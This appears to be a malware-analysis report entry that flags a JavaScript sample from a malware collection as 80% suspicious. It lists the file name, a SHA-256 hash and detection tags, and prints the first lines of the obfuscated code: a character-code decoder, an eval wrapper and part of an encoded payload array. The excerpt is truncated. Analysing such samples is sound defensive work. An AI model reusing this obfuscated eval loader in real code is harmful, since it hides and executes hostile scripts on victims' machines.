Suspicious ^80% javascript-malware-collection Download

20151208_a39920b2703d41888dd38160e455a20f.js

obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-256dc60e2dda0028e4985be2d43af08d66259146ca4387cc99e1d8031556d4c4a00

Evidence

Obfuscated increment/decrement via arithmetic lines 1–5

1var YkIxKzfZTgUyS=[];for(xUeclbB=(-320+320)/671;xUeclbB<(117570+318)/921;xUeclbB++){YkIxKzfZTgUyS[xUeclbB]=String.fromCharCode(xUeclbB)}function SXBNs(pnfwzOysarQ,kYZZBbmypoVRQ,VeVtCALp){RKGd=parseInt(pnfwzOysarQ,kYZZBbmypoVRQ);DoyFS=RKGd.toString(VeVtCALp);return DoyFS;}function YWjqIdJAyLUJdXp(GWuyWZvQrPGmbcNzo){eval(GWuyWZvQrPGmbcNzo)}
2function XftqmAPmRZxGxQPChzgaigCmwbzqBxwWzhiBVmhPtDutUxwYfipQXv(fyMfbBzLPowkd,hfUuokOxbQXurV){ return YkIxKzfZTgUyS[SXBNs(fyMfbBzLPowkd[hfUuokOxbQXurV],(8037+653)/869,(94+536)/63)];}
3function pwdVfWf(rTpCxYFbawvnodtxvuWbcKjOTHZaKGmrwVIh) {return !isNaN(parseFloat(rTpCxYFbawvnodtxvuWbcKjOTHZaKGmrwVIh)) && isFinite(rTpCxYFbawvnodtxvuWbcKjOTHZaKGmrwVIh);}
4function BkjeTqoTEBW(NFgbuzBU,asjVKC){return NFgbuzBU.split(asjVKC)}
5var b=[];b.push("13");b.push("10");b.push("13");b.push("10");b.push("118");b.push("97");b.push("114");b.push("32");b. …